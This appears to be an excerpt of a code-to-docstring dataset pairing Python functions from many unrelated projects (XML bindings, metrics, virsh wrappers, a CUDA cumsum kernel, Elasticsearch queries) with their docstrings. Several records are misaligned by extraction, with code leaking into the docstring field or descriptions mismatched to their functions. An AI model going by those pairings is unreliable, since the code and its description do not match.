the current year, then return False and nomodifications are made. Use the supplied conststo indicate the desired day_of_week, ex. pendulum.MONDAY.:type nth: int:type day_of_week: int or None:rtype: Date"} {"code": "def generate_pixel_display_mapping(self):\n scancode_physical = self.full_context.query('DataAssociationExpression', 'ScanCodePosition')\n pixel_physical = self.full_context.query('DataAssociationExpression', 'PixelPosition')\n pixel_indices = self.full_context.query('MapExpression', 'PixelChannel')\n\n pixel_indices_filtered = list(filter(lambda x: not isinstance(x.position, list), pixel_indices.data.values()))\n physical = scancode_physical.data.copy()\n physical.update(pixel_physical.data)\n\n positions = dict()\n scancode_positions = dict()\n for key, item in physical.items():\n entry = dict()\n entry['x'] = item.association[0].x\n entry['y'] = item.association[0].y\n entry['z'] = item.association[0].z\n\n scancode_uid = None\n\n for k in entry.keys():\n if entry[k] is None:\n entry[k] = 0.0\n else:\n entry[k] = float(entry[k])\n\n uid = item.association[0].uid\n if isinstance(uid, id.PixelAddressId):\n uid = uid.index\n\n else:\n lookup = list(filter(lambda x: x.position.uid == uid, pixel_indices_filtered))\n scancode_uid = uid\n\n\n scancode_positions[scancode_uid] = copy.copy(entry)\n\n if len(lookup) > 0:\n uid = lookup[0].pixel.uid.index\n\n scancode_positions[scancode_uid]['PixelId'] = uid\n\n positions[uid] = copy.copy(entry)\n\n if scancode_uid is not None:\n positions[uid]['ScanCode'] = scancode_uid\n\n self.pixel_positions = positions\n self.scancode_positions = scancode_positions\n\n variables = self.full_context.query('AssignmentExpression', 'Variable')\n try:\n unit_size = float(variables.data['Pixel_DisplayMapping_UnitSize'].value)\n column_size = int(variables.data['Pixel_DisplayMapping_ColumnSize'].value)\n row_size = int(variables.data['Pixel_DisplayMapping_RowSize'].value)\n column_direction = int(variables.data['Pixel_DisplayMapping_ColumnDirection'].value)\n row_direction = int(variables.data['Pixel_DisplayMapping_RowDirection'].value)\n except KeyError:\n unit_size = 1\n column_size = 20\n row_size = 20\n column_direction = 1\n row_direction = 1\n", "nl": "Generate Pixel Display MappingFirst generate a position dictionary of all pixels using Pixel Index addresses and x,y,z positionsBuild a 2-dimensinoal mapping of all Pixels.Use UnitSize, ColumnSize and RowSize to determine pixel fit.* Build list of all pixels in a rows/columns* Find min/max x/y to determine size of grid* Use UnitSize to determine where to place each Pixel* Error if we cannot fit all Pixels"} {"code": "def _key_from_fd(self, fd):\n try:\n return self._fd_to_key[fd]\n except KeyError:\n return None\n\n\nclass SelectSelector(_BaseSelectorImpl):\n \"\"\"Select-based selector.\"\"\"", "nl": "Return the key associated to a given file descriptor.Parameters:fd -- file descriptorReturns:corresponding key, or None if not found"} {"code": "def xpathNextAncestor(self, ctxt):\n if ctxt is None: ctxt__o = None\n else: ctxt__o = ctxt._o\n ret = libxml2mod.xmlXPathNextAncestor(ctxt__o, self._o)\n if ret is None:raise xpathError('xmlXPathNextAncestor() failed')\n __tmp = xmlNode(_obj=ret)\n return __tmp\n", "nl": "Traversal function for the \"ancestor\" direction theancestor axis contains the ancestors of the context node;the ancestors of the context node consist of the parent ofcontext node and the parent's parent and so on; the nodesare ordered in reverse document order; thus the parent isthe first node on the axis, and the parent's parent is thesecond node on the axis "} {"code": "def invert_inplace(a):\n\n\n@_scal_inplace", "nl": "bitwise ~a (inplace on a)@_scal_inplacedef abs__inplace(a):|`a`| (inplace on `a`)"} {"code": "def iou_binary(preds, labels, EMPTY=1., ignore=None, per_image=True):\n if not per_image:\n preds, labels = (preds,), (labels,)\n ious = []\n for pred, label in zip(preds, labels):\n intersection = ((label == 1) & (pred == 1)).sum()\n union = ((label == 1) | ((pred == 1) & (label != ignore))).sum()\n if not union:\n iou = EMPTY\n else:\n iou = float(intersection) / float(union)\n ious.append(iou)\n iou = mean(ious)\n return 100 * iou\n\n", "nl": "IoU for foreground classbinary: 1 foreground, 0 background"} {"code": "def _lti(self):\n Z = np.zeros((self.n, self.n))\n I = np.eye(self.n)\n\n B2 = I\n A = self.A()\n B = np.vstack([Z,\n la.solve(self.M, B2)])\n\n Cd = I\n Cv = Z\n Ca = Z\n\n C = np.hstack((Cd - Ca @ la.solve(self.M, self.K),\n Cv - Ca @ la.solve(self.M, self.C)))\n D = Ca @ la.solve(self.M, B2)\n\n return signal.lti(A, B, C, D)\n", "nl": "rContinuous-time linear time invariant system.This method is used to create a Continuous-time lineartime invariant system for the mdof system.From this system we can obtain poles, impulse response,generate a bode, etc."} {"code": "def Update(self, label, prob, weight=None):\n self._label += label\n self._prob += prob\n if weight:\n self._weight += weight\n else:\n self._weight += [1 for _ in range(len(label))]\n\n if self._samples > 0:\n self._label = self._label[-self._samples:]\n self._prob = self._prob[-self._samples:]\n self._weight = self._weight[-self._samples:]\n\n @property", "nl": "Updates the metrics.Args:label: An array to specify the groundtruth binary labels. Values must beeither 0 or 1.prob: An array to specify the prediction probabilities. Values must bewithin [0, 1.0].weight: An array to specify the sample weight for the auc computation."} {"code": "def handle_get(self):\n\n response = self.generate_html_documentation().encode('utf-8')\n\n print('Content-Type: text/html')\n print('Content-Length: %d' % len(response))\n print()\n sys.stdout.flush()\n sys.stdout.buffer.write(response)\n sys.stdout.buffer.flush()\n", "nl": "Handles the HTTP GET request.Interpret all HTTP GET requests as requests for serverdocumentation."} {"code": "def pool_autostart(name, extra=\"\", **dargs):\n return command(\"pool-autostart %s %s\" % (name, extra), **dargs)\n\n", "nl": "Mark for autostart of a pool:param name: Name of the pool to be mark for autostart:param extra: Free-form string of options:param dargs: standardized virsh function API keywords:return: True if pool autostart command was successful"} {"code": "def test_data_path():\n return DEVICES\n\n\n@pytest.fixture(scope=\"session\")", "nl": "Fixture to provide path to test data filesreturn TEST_DATA_PATH@pytest.fixture(scope=\"session\")def test_devices_dict():Fixture to return test devices dict"} {"code": "def history_notification(self):\n return self.jarvis_api.notification_history\n", "nl": "Returns MockHistory instance. Fields:1. msg (string)2. time_seconds (int)"} {"code": "def update(self, **kwargs):\n self.update_instance(**kwargs)\n\n\nclass CallerIds(ListResource):\n \"\"\" A list of :class:`CallerId` resources \"\"\"", "nl": "Update the CallerId"} {"code": "def test_cms_wizards_program_create_wizards_list_insufficient_permissions(self):\n any_page = create_page(\"page\", \"richie/single_column.html\", \"en\")\n\n required_permissions = [\n \"courses.add_program\",\n \"cms.add_page\",\n \"cms.change_page\",\n ]\n\n reverse_id = reverse(\"cms_wizard_create\")\n url = f\"{reverse_id:s}?page={any_page.id:d}\"\n\n for permission_to_be_removed in required_permissions + [None]:\n if permission_to_be_removed is None:\n continue\n\n altered_permissions = required_permissions.copy()\n if permission_to_be_removed:\n altered_permissions.remove(permission_to_be_removed)\n\n user = UserFactory(is_staff=True, permissions=altered_permissions)\n self.client.login(username=user.username, password=\"password\")\n\n response = self.client.get(url)\n\n self.assertNotContains(response, \"new program\", status_code=200, html=True)\n", "nl": "The wizard to create a new program page should not be present on the wizards list pagefor a user with insufficient permissions."} {"code": "defaults to False.\n\n Related items are first grouped in map\n {model_name: {item1, item2, ...}} and then indexed.\n\n :param items: Sequence of DB objects related objects if which\n should be indexed.\n :param request: Pyramid Request instance.\n \"\"\"", "nl": "_aggregations_params = params.pop('_aggregations_params', None)_raise_on_empty = params.pop('_raise_on_empty', False)if not _aggregations_params:raise Exception('Missing _aggregations_params')# Set limit so ES won't complain. It is ignored in the endparams['_limit'] = 0search_params = self.build_search_params(params)search_params.pop('size', None)search_params.pop('from_', None)search_params.pop('sort', None)search_params['body']['aggregations'] = _aggregations_paramslog.debug('Performing aggregation: {}'.format(_aggregations_params))try:response = self.api.search(**search_params)except IndexNotFoundException:if _raise_on_empty:raise JHTTPNotFound('Aggregation failed: Index does not exist')return {}try:return response['aggregations']except KeyError:raise JHTTPNotFound('No aggregations returned from ES')def get_collection(self, **params):_raise_on_empty = params.pop('_raise_on_empty', False)_params = self.build_search_params(params)if '_count' in params:return self.do_count(_params)fields = _params.pop('fields', '')if fields:fields_params = process_fields_param(fields)_params.update(fields_params)documents = _ESDocs()documents._nefertari_meta = dict(start=_params.get('from_', 0),fields=fields)try:data = self.api.search(**_params)except IndexNotFoundException:if _raise_on_empty:raise JHTTPNotFound('{}({}) resource not found (Index does not exist)'.format(self.doc_type, params))documents._nefertari_meta.update(total=0, took=0)return documentsfor found_doc in data['hits']['hits']:output_doc = found_doc['_source']output_doc['_score'] = found_doc['_score']output_doc['_type'] = found_doc['_type']documents.append(dict2obj(output_doc))documents._nefertari_meta.update(total=data['hits']['total'],took=data['took'],)if not documents:msg = \"%s(%s) resource not found\" % (self.doc_type, params)if _raise_on_empty:raise JHTTPNotFound(msg)else:log.debug(msg)return documentsdef get_item(self, **kw):_raise_on_empty = kw.pop('_raise_on_empty', True)params = dict(index=self.index_name,doc_type=self.doc_type)params.update(kw)not_found_msg = \"'{}({})' resource not found\".format(self.doc_type, params)try:data = self.api.get_source(**params)except IndexNotFoundException:if _raise_on_empty:raise JHTTPNotFound(\"{} (Index does not exist)\".format(not_found_msg, self.doc_type, params))data = {}except JHTTPNotFound:data = {}if not data:if _raise_on_empty:raise JHTTPNotFound(not_found_msg)else:log.debug(not_found_msg)if '_type' not in data:data['_type'] = self.doc_typereturn dict2obj(data)@classmethoddef index_relations(cls, db_obj, request=None, **kwargs):for model_cls, documents in db_obj.get_related_documents(**kwargs):if getattr(model_cls, '_index_enabled', False) and documents:cls(model_cls.__name__).index(to_dicts(documents), request=request)@classmethoddef bulk_index_relations(cls, items, request=None, **kwargs): Index objects related to :items: in bulk."} {"code": "def eos_token_id(self) -> Optional[int]:\n if self._eos_token is None:\n return None\n return self.convert_tokens_to_ids(self.eos_token)\n\n @property", "nl": ":obj:`Optional[int]`: Id of the end of sentence token in the vocabulary. Returns :obj:`None` if the token hasnot been set."} {"code": "def template_global(self, name=None):\n", "nl": "A decorator that is used to register a custom template global function.You can specify a name for the global function, otherwise the functionname will be used. Example::@app.template_global()def double(n):return 2 * n.. versionadded:: 0.10:param name: the optional name of the global function, otherwise thefunction name will be used."} {"code": "def value(self):\n\n Args:\n name: A string to use as the summary value tag.\n\n Returns:\n A `tf.Summary` proto.\n \"\"\"\n\n @classmethod", "nl": "Current value of this metric.return Nonedef Summary(self, name):Converts the current state of this metric to a `tf.Summary`."} {"code": "def tell(self):\n self._checkClosed()\n return os.lseek(self._fd, 0, SEEK_CUR)\n", "nl": "tell() -> int. Current file position.Can raise OSError for non seekable files."} {"code": "def acquire(self, code, freqs, progress_callback=None):\n results = np.empty((len(self.offsets), len(freqs), self.samples_per_code))\n\n code_indices = np.arange(1.0, self.n_integrate + 1.0) / \\\n self.samples_per_chip\n code_indices = np.remainder(\n np.asarray(code_indices, np.int), self.code_length)\n self.code[:] = code[code_indices]\n\n self.code_fft.execute()\n code_ft_conj = np.conj(self.code_ft)\n\n acq_mag = []\n for n, freq in enumerate(freqs):\n if progress_callback:\n progress_callback(n + 1, len(freqs))\n\n shift = int((float(freq) * len(self.short_samples_ft[0]) /\n self.sampling_freq) + 0.5)\n\n for offset_i in range(len(self.offsets)):\n short_samples_ft_bb = np.append(self.short_samples_ft[offset_i][shift:],\n self.short_samples_ft[offset_i][:shift])\n\n self.corr_ft[:] = short_samples_ft_bb * code_ft_conj\n\n self.corr_ifft.execute()\n acq_mag = np.abs(self.corr[:self.samples_per_code])\n results[offset_i][n] = np.square(acq_mag)\n\n max_indices = np.unravel_index(results.argmax(), results.shape)\n return results[max_indices[0]]\n", "nl": "Perform an acquisition with a given code.Perform a code-phase parallel acquisition with a given code over a set ofcarrier frequencies.Parameters----------code : :class:`numpy.ndarray`, shape(`code_length`,)A numpy array containing the code to acquire. Should contain one elementper chip with value +/- 1.freqs : iterableA list of carrier frequencies in Hz to search over.progress_callback : callable or `None`, optionalA function that is called to report on the progress of the acquisition.Can be `None`. The function should have the following signature::progress_callback(current_step_number, total_number_of_steps)Returns-------out : :class:`numpy.ndarray`, shape(len(`freqs`), `samples_per_code`)2D array containing correlation powers at different frequencies and codephases. Code phase axis is in samples from zero to `samples_per_code`."} {"code": "def get_generator(model, cfg, device):\n method = cfg['method']\n generator = method_dict[method].config.get_generator(model, cfg, device)\n return generator\n\n", "nl": " Returns a generator instance.Args:model (nn.Module): the model which is usedcfg (dict): config dictionarydevice (device): pytorch device"} {"code": "def load_audio_metadata(cls, conn, path, audio_path, task='speech2text'):\n\n if conn is None:\n conn = cls.get_connection()\n\n if conn is None:\n raise DLPyError('cannot get a connection object to the current session.')\n\n if task == 'speech2text':\n return cls.load_audio_metadata_speechrecognition(conn, path, audio_path)\n else:\n raise DLPyError(\"We do not support this task yet!\")\n\n @classmethod", "nl": "Pre-process and loads the metadataParameters----------conn : CASA connection object to the current session.path : stringLocation to the input metadata file.audio_path : stringLocation to the audio files.task : string, optionalSpecifies the taskNote: currently only support 'speech2text' (default)Returns-------:class:`CASTable`Raises------DLPyErrorIf anything goes wrong, it complains and prints the appropriate message.Examples-------->>> import swat>>> from dlpy.audio import AudioTable>>> s=swat.CAS(\"cloud.example.com\", 5570)>>> aud_table = AudioTable.load_audio_metadata(s, path=\"/path/to/metadata/file.txt\", audio_path=\"/path/to/audio/file.txt\")>>> aud_table.set_connection(s)"} {"code": "def __unicode__(self):\n _maxlen = 10\n if len(self._codes) > _maxlen:\n result = self._tidy_repr(_maxlen)\n elif len(self._codes) > 0:\n result = self._get_repr(length=len(self) > _maxlen)\n else:\n msg = self._get_repr(length=False, footer=True).replace(\"\\n\", \", \")\n result = ('[], {repr_msg}'.format(repr_msg=msg))\n\n return result\n", "nl": "Unicode representation."} {"code": "def get_branch(self, leaf_id) -> tuple:\n nodes = nx.shortest_path(self.data, 0, leaf_id)\n states = [self.data.node[n][\"state\"] for n in nodes[:-1]]\n actions = [self.data.edges[(n, nodes[i+1])][\"action\"] for i, n in enumerate(nodes[:-1])]\n ends = [self.data.edges[(n, nodes[i+1])][\"terminal\"] for i, n in enumerate(nodes[:-1])]\n obs = [self.data.node[n][\"obs\"] for n in nodes[:-1]]\n new_obs = [self.data.node[n][\"obs\"] for n in nodes[1:]]\n rewards = [self.data.edges[(n, nodes[i + 1])][\"reward\"] for i, n in enumerate(nodes[:-1])]\n return states, obs, actions, rewards, new_obs, ends\n", "nl": "Get the observation from the game ended at leaf_id:param leaf_id: id of the leaf node belonging to the branch that will be recovered.:return: Sequence of observations belonging to a given branch of the tree."} {"code": "def postOptions(self):\n", "nl": "I am called after the options are parsed.Override this method in your subclass to do something afterthe options have been parsed and assigned, like validate thatall options are sane."} {"code": "def c_support_code_apply(self, node, nodename):\n", "nl": "return __device__void k_reductionPhase_%(nodename)s(float* partialCumSum) {// Traverse down from leaves to root building partial sums at internal nodes in the tree.for (unsigned int stride = 1; stride <= blockDim.x; stride *= 2) {__syncthreads();unsigned int index = (threadIdx.x + 1) * (stride * 2) - 1;if(index < blockDim.x*2) {partialCumSum[index] += partialCumSum[index - stride];}}}__device__void k_reversePhase_%(nodename)s(float* partialCumSum) {// Traverse back up the tree building the scan from the partial sumsfor (unsigned int stride = exp2(ceil(log2((float)blockDim.x))); stride > 0; stride /= 2) {__syncthreads();unsigned int index = (threadIdx.x + 1) * (stride * 2) - 1;if(index + stride < blockDim.x*2) {partialCumSum[index + stride] += partialCumSum[index];}}}__device__void k_fetchData_%(nodename)s(float* partialCumSum, float* input, int globalThreadID, dim3 dataStrides, int offsetY, int offsetZ) {// blockIdx.y and blockIdx.z represents the current independent cumsumint idY = blockIdx.y + offsetY;int idZ = blockIdx.z + offsetZ;int offset = idY * dataStrides.y + idZ * dataStrides.z;int idx_even = (globalThreadID*2 ) * dataStrides.x + offset;int idx_odd = (globalThreadID*2 + 1) * dataStrides.x + offset;partialCumSum[threadIdx.x*2] = input[idx_even];partialCumSum[threadIdx.x*2 + 1] = input[idx_odd];}__device__void k_pushData_%(nodename)s(float* partialCumSum, float* output, int globalThreadID, dim3 dataStrides, int offsetY, int offsetZ) {__syncthreads();// blockIdx.y and blockIdx.z represents the current independent cumsumint idY = blockIdx.y + offsetY;int idZ = blockIdx.z + offsetZ;int offset = idY * dataStrides.y + idZ * dataStrides.z;int idx_even = (globalThreadID*2 ) * dataStrides.x + offset;int idx_odd = (globalThreadID*2 + 1) * dataStrides.x + offset;output[idx_even] = partialCumSum[threadIdx.x*2];output[idx_odd] = partialCumSum[threadIdx.x*2 + 1];}__global__void k_cumadd_%(nodename)s(float* input, float* output, dim3 inputStrides, dim3 outputStrides, int offsetY, int offsetZ, int beforeLastElementIdx, int lastElementIdx) {int idY = blockIdx.y + offsetY;int idZ = blockIdx.z + offsetZ;int dataOffsetY_input = idY * inputStrides.y + idZ * inputStrides.z;int dataOffsetY_output = idY * outputStrides.y + idZ * outputStrides.z;int idx_last_input = lastElementIdx*inputStrides.x + dataOffsetY_input;int idx_last_output = lastElementIdx*outputStrides.x + dataOffsetY_output;int idx_beforelast = beforeLastElementIdx*outputStrides.x + dataOffsetY_output;output[idx_last_output] = input[idx_last_input] + output[idx_beforelast];}__global__void k_finalCumSum_%(nodename)s(float* output, float* blockSum, int nbElementsPerCumsum, dim3 dataStrides, int offsetY, int offsetZ) {int globalThreadID = (blockIdx.x + 1) * blockDim.x + threadIdx.x;// Check if current has data to process.if (globalThreadID >= ceil(nbElementsPerCumsum/2.0)) {return;}int idY = blockIdx.y + offsetY;int idZ = blockIdx.z + offsetZ;const float currentBlockSum = blockSum[blockIdx.x*(gridDim.y*gridDim.z) + idY*gridDim.z + idZ];int offset = idY * dataStrides.y + idZ * dataStrides.z;int idx_even = (globalThreadID*2 ) * dataStrides.x + offset;int idx_odd = (globalThreadID*2 + 1) * dataStrides.x + offset;output[idx_even] += currentBlockSum;output[idx_odd] += currentBlockSum;}__global__void k_blockCumSum_%(nodename)s(float* input, float* output, int nbElementsPerCumsum, dim3 inputStrides, dim3 outputStrides, int offsetY, int offsetZ, float* blockSum) {// Regarding blockIdx and threadIdx, 'Cumsum' is always performed along the X axis.// The Y and Z axis of the grid will contain all independent cumsums of the 2D/3D case.int globalThreadID = blockIdx.x * blockDim.x + threadIdx.x;// Check if current thread has data to process.if (globalThreadID >= ceil(nbElementsPerCumsum/2.0)) {return;}extern __shared__ float partialCumSum[];// Load data in shared memoryk_fetchData_%(nodename)s(partialCumSum, input, globalThreadID, inputStrides, offsetY, offsetZ);// Use a dichotomy approach to compute the cumsum (i.e. balanced binary tree).// The tree is sweeped from the leaves to the root and from the root to the leaves.// Similar to http://www.umiacs.umd.edu/~ramani/cmsc828e_gpusci/ScanTalk.pdfk_reductionPhase_%(nodename)s(partialCumSum);k_reversePhase_%(nodename)s(partialCumSum);// Write the final output to global memoryk_pushData_%(nodename)s(partialCumSum, output, globalThreadID, outputStrides, offsetY, offsetZ);if (blockSum != NULL){if (threadIdx.x == blockDim.x - 1) {blockSum[blockIdx.x*(gridDim.y*gridDim.z) + (blockIdx.y + offsetY)*gridDim.z + blockIdx.z + offsetZ] = partialCumSum[threadIdx.x*2 + 1];}}}int cumSum_%(nodename)s(CudaNdarray* input, CudaNdarray* output, int axis, int maxThreads, int maxGridY, int maxGridZ) {int shape[3] = { 1, 1, 1 };dim3 inputStrides(0, 0, 0);dim3 outputStrides(0, 0, 0);switch (CudaNdarray_NDIM(input)){case 1:shape[0] = CudaNdarray_HOST_DIMS(input)[0];inputStrides.x = CudaNdarray_HOST_STRIDES(input)[0];outputStrides.x = CudaNdarray_HOST_STRIDES(output)[0];break;case 2:shape[0] = CudaNdarray_HOST_DIMS(input)[0];shape[1] = CudaNdarray_HOST_DIMS(input)[1];inputStrides.x = CudaNdarray_HOST_STRIDES(input)[0];inputStrides.y = CudaNdarray_HOST_STRIDES(input)[1];outputStrides.x = CudaNdarray_HOST_STRIDES(output)[0];outputStrides.y = CudaNdarray_HOST_STRIDES(output)[1];break;case 3:shape[0] = CudaNdarray_HOST_DIMS(input)[0];shape[1] = CudaNdarray_HOST_DIMS(input)[1];shape[2] = CudaNdarray_HOST_DIMS(input)[2];inputStrides.x = CudaNdarray_HOST_STRIDES(input)[0];inputStrides.y = CudaNdarray_HOST_STRIDES(input)[1];inputStrides.z = CudaNdarray_HOST_STRIDES(input)[2];outputStrides.x = CudaNdarray_HOST_STRIDES(output)[0];outputStrides.y = CudaNdarray_HOST_STRIDES(output)[1];outputStrides.z = CudaNdarray_HOST_STRIDES(output)[2];break;default:return -1;}if (shape[axis] <= 1) {CudaNdarray_CopyFromCudaNdarray(output, input);return 0;}// Perform cumsum on array of even size.int nbElementsPerCumsum = shape[axis] - (shape[axis] %% 2);// Determine how many elements can be processed in one block.int dimBlockX = ceil( min(nbElementsPerCumsum, 2*maxThreads) / 2.0);// Determine how many blocks are needed in total.int dimGridX = ceil(nbElementsPerCumsum / (2.0*dimBlockX)); // Nb. of blocks needed per cumsum.int dimGridY; // Nb. of independent cumsums (width).int dimGridZ; // Nb. of independent cumsums (height).int tmp;switch (axis){case 0:dimGridY = shape[1];dimGridZ = shape[2];break;case 1:dimGridY = shape[0];dimGridZ = shape[2];tmp = inputStrides.x;inputStrides.x = inputStrides.y;inputStrides.y = tmp;tmp = outputStrides.x;outputStrides.x = outputStrides.y;outputStrides.y = tmp;break;case 2:dimGridY = shape[1];dimGridZ = shape[0];tmp = inputStrides.x;inputStrides.x = inputStrides.z;inputStrides.z = tmp;tmp = outputStrides.x;outputStrides.x = outputStrides.z;outputStrides.z = tmp;break;default:return -1;}const int shapeBlockSum[2] = { dimGridX, dimGridY*dimGridZ };CudaNdarray* deviceBlockSum = (CudaNdarray*) CudaNdarray_NewDims(2, shapeBlockSum);// Perform `maxGridY`*`maxGridZ` cumsums in parallel.for (int offsetY = 0; offsetY < dimGridY; offsetY += maxGridY){int localDimGridY = min(dimGridY - offsetY, maxGridY);for (int offsetZ = 0; offsetZ < dimGridZ; offsetZ += maxGridZ){int localDimGridZ = min(dimGridZ - offsetZ, maxGridZ);dim3 dimGrid(dimGridX, localDimGridY, localDimGridZ);dim3 dimBlock(dimBlockX, 1, 1); // One cumsum per block.int sharedBytes = (2*dimBlockX) * sizeof(float);k_blockCumSum_%(nodename)s<<>>(CudaNdarray_DEV_DATA(input),CudaNdarray_DEV_DATA(output),nbElementsPerCumsum,inputStrides,outputStrides,offsetY,offsetZ,CudaNdarray_DEV_DATA(deviceBlockSum));if (dimGridX > 1) {// Do a cumsum over the blockSum (recursive).if (cumSum_%(nodename)s(deviceBlockSum, deviceBlockSum, 0, maxThreads, maxGridY, maxGridZ) == -1){Py_DECREF(deviceBlockSum);return -1;}// Since there are more than one block (i.e. `dimGridX > 1`)// report partial cumsums of previous blocks to subsequents ones.dim3 dimGrid(dimGridX, localDimGridY, localDimGridZ);dim3 dimBlock(dimBlockX, 1, 1);k_finalCumSum_%(nodename)s<<>>(CudaNdarray_DEV_DATA(output),CudaNdarray_DEV_DATA(deviceBlockSum),nbElementsPerCumsum,outputStrides,offsetY,offsetZ);}// If shape[axis] is odd, the last element is compute manuallyif (shape[axis] != nbElementsPerCumsum){dim3 dimGrid(1, localDimGridY, localDimGridZ);dim3 dimBlock(1, 1, 1);k_cumadd_%(nodename)s<<>>(CudaNdarray_DEV_DATA(input),CudaNdarray_DEV_DATA(output),inputStrides,outputStrides,offsetY,offsetZ,shape[axis]-2,shape[axis]-1);}}}Py_DECREF(deviceBlockSum);CNDA_THREAD_SYNC;return 0;} % locals()"} {"code": "def vgrename(self, volgroup, newvolgroup):\n return self.inner_cmd(\"vgrename %s %s\" % (volgroup, newvolgroup))\n", "nl": "vgrename - rename an LVM volume groupRename a volume group \"volgroup\" with the new name \"newvolgroup\"."} {"code": "def transform_dict(self, d):\n function = params[\"func\"]\n out_rmi = rmi(client=self.make_client(), shared_variables=self.shared)\n try:\n argc = getattr(out_rmi, function).__code__.co_argcount\n args = getattr(out_rmi, function).__code__.co_varnames[:argc]\n except Exception:\n return None, None\n\n if \"__\" in function or (argc == 0 and len(args) == 0):\n return None, None\n\n kwargs = dict()\n\n if \"_api_ref\" in args:\n kwargs[\"_api_ref\"] = self\n\n if \"_data\" in args:\n kwargs[\"_data\"] = params\n\n if \"func\" in params:\n kwargs[\"func\"] = params[\"func\"]\n\n for parameter in params:\n if parameter in args:\n kwargs[parameter] = params[parameter]\n return out_rmi, kwargs\n", "nl": "Solve issue with all items are lists from query parser!res = dict()for key, item in d.items():res[key] = item[0]return resdef query_parser(self, params, rmi):Takes query dict, creates kwargs for methods"} {"code": "def autodiscover(self) -> AutodiscoverArg:\n\n @sections.Common.setting(\n params.Path,\n env_name='APP_DATADIR',", "nl": "Automatic discovery of agents, tasks, timers, views and commands.Faust has an API to add different :mod:`asyncio` services and otheruser extensions, such as \"Agents\", HTTP web views,command-line commands, and timers to your Faust workers.These can be defined in any module, so to discover them at startup,the worker needs to traverse packages looking for them... warning::The autodiscovery functionality uses the :pypi:`Venusian` libraryto scan wanted packages for ``@app.agent``, ``@app.page``,``@app.command``, ``@app.task`` and ``@app.timer`` decorators,but to do so, it's required to traverse the package path and importevery module in it.Importing random modules like this can be dangerous so make sureyou follow Python programming best practices. Do not startthreads; perform network I/O; do test monkey-patching for mocks orsimilar, as a side effect of importing a module. If you encountera case such as this then please find a way to perform youraction in a lazy manner... warning::If the above warning is something you cannot fix, or if it's outof your control, then please set ``autodiscover=False`` and makesure the worker imports all modules where yourdecorators are defined.The value for this argument can be:``bool``If ``App(autodiscover=True)`` is set, the autodiscovery willscan the package name described in the ``origin`` attribute.The ``origin`` attribute is automatically set when you starta worker using the :program:`faust` command line program,for example:.. sourcecode:: consolefaust -A example.simple workerThe :option:`-A `, option specifies the app, but youcan also create a shortcut entry point by calling ``app.main()``:.. sourcecode:: pythonif __name__ == '__main__':app.main()Then you can start the :program:`faust` program by executing forexample ``python myscript.py worker --loglevel=INFO``, and itwill use the correct application.``Sequence[str]``The argument can also be a list of packages to scan::app = App(..., autodiscover=['proj_orders', 'proj_accounts'])``Callable[[], Sequence[str]]``The argument can also be a function returning a list of packagesto scan::def get_all_packages_to_scan():return ['proj_orders', 'proj_accounts']app = App(..., autodiscover=get_all_packages_to_scan)``False``If everything you need is in a self-contained module, or youimport the stuff you need manually, just set ``autodiscover``to False and don't worry about it :-).. admonition:: DjangoWhen using :pypi:`Django` and the :envvar:`DJANGO_SETTINGS_MODULE`environment variable is set, the Faust app will scan all packagesfound in the ``INSTALLED_APPS`` setting.If you're using Django you can use this to scan foragents/pages/commands in all packagesdefined in ``INSTALLED_APPS``.Faust will automatically detect that you're using Djangoand do the right thing if you do::app = App(..., autodiscover=True)It will find agents and other decorators in all of thereusable Django applications. If you want to manually controlwhat packages are traversed, then provide a list::app = App(..., autodiscover=['package1', 'package2'])or if you want exactly :const:`None` packages to be traversed,then provide a False:app = App(.., autodiscover=False)which is the default, so you can simply omit the argument... tip::For manual control over autodiscovery, you can also call the:meth:`@discover` method manually."} {"code": "def _copy_file_contents(src, dst, buffer_size=16*1024):\n fsrc = None\n fdst = None\n try:\n try:\n fsrc = open(src, 'rb')\n except os.error, (errno, errstr):\n raise DistutilsFileError(\"could not open '%s': %s\" % (src, errstr))\n\n if os.path.exists(dst):\n try:\n os.unlink(dst)\n except os.error, (errno, errstr):\n raise DistutilsFileError(\n \"could not delete '%s': %s\" % (dst, errstr))\n\n try:\n fdst = open(dst, 'wb')\n except os.error, (errno, errstr):\n raise DistutilsFileError(\n \"could not create '%s': %s\" % (dst, errstr))\n\n while 1:\n try:\n buf = fsrc.read(buffer_size)\n except os.error, (errno, errstr):\n raise DistutilsFileError(\n \"could not read from '%s': %s\" % (src, errstr))\n\n if not buf:\n break\n\n try:\n fdst.write(buf)\n except os.error, (errno, errstr):\n raise DistutilsFileError(\n \"could not write to '%s': %s\" % (dst, errstr))\n\n finally:\n if fdst:\n fdst.close()\n if fsrc:\n fsrc.close()\n", "nl": "Copy the file 'src' to 'dst'.Both must be filenames. Any error opening either file, reading from'src', or writing to 'dst', raises DistutilsFileError. Data isread/written in chunks of 'buffer_size' bytes (default 16k). No attemptis made to handle anything apart from regular files."} {"code": "def _range_complement(self, current_range):\n tested_tokens = set(tested_tokens)\n current_tokens = [t for i, t in enumerate(tokens) if i in tested_tokens]\n if not self.minimizer.tokenize:\n return current_tokens\n\n data = self.minimizer.token_combiner(current_tokens)\n\n handle = self.minimizer.get_temp_file()\n destination = handle.name\n try:\n handle.write(data)\n except IOError:\n self._do_single_pass_process()\n handle.write(data)\n\n handle.close()\n return destination\n", "nl": "Return required tokens in the complement of the specified range.result = list(range(len(self.tokens)))to_remove = set(current_range)return [i for i in result if i not in to_remove and self.required_tokens[i]]def _prepare_test_input(self, tokens, tested_tokens):Write the tokens currently being tested to a temporary file."} {"code": "def pre_validate(self):\n self._logger.debug(\"Component will be validated\")\n", "nl": "Optional: called when the component is being validated"} {"code": "def emit_port_mappings(self, port_mappings):\n return [str(self._emit_mapping(mapping)) for mapping in port_mappings]\n", "nl": ":param port_mappings: the base schema port_mappings:type port_mappings: list of dict:return::rtype: list of str"} {"code": "def get_head(out_size, cfg):\n model = getattr(models, arch)(pretrained=False)\n if dataset != \"imagenet\":\n model.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1, bias=False)\n if dataset == \"cifar10\" or dataset == \"cifar100\":\n model.maxpool = nn.Identity()\n out_size = model.fc.in_features\n model.fc = nn.Identity()\n\n return nn.DataParallel(model), out_size", "nl": " creates projection head g() from config x = []in_size = out_sizefor _ in range(cfg.head_layers - 1):x.append(nn.Linear(in_size, cfg.head_size))if cfg.add_bn:x.append(nn.BatchNorm1d(cfg.head_size))x.append(nn.ReLU())in_size = cfg.head_sizex.append(nn.Linear(in_size, cfg.emb))return nn.Sequential(*x)def get_model(arch, dataset): creates encoder E() by name and modifies it for dataset "} {"code": "def _execute_with_revision(q, rev_table, context):\n model = context['model']\n session = model.Session\n revision_id = 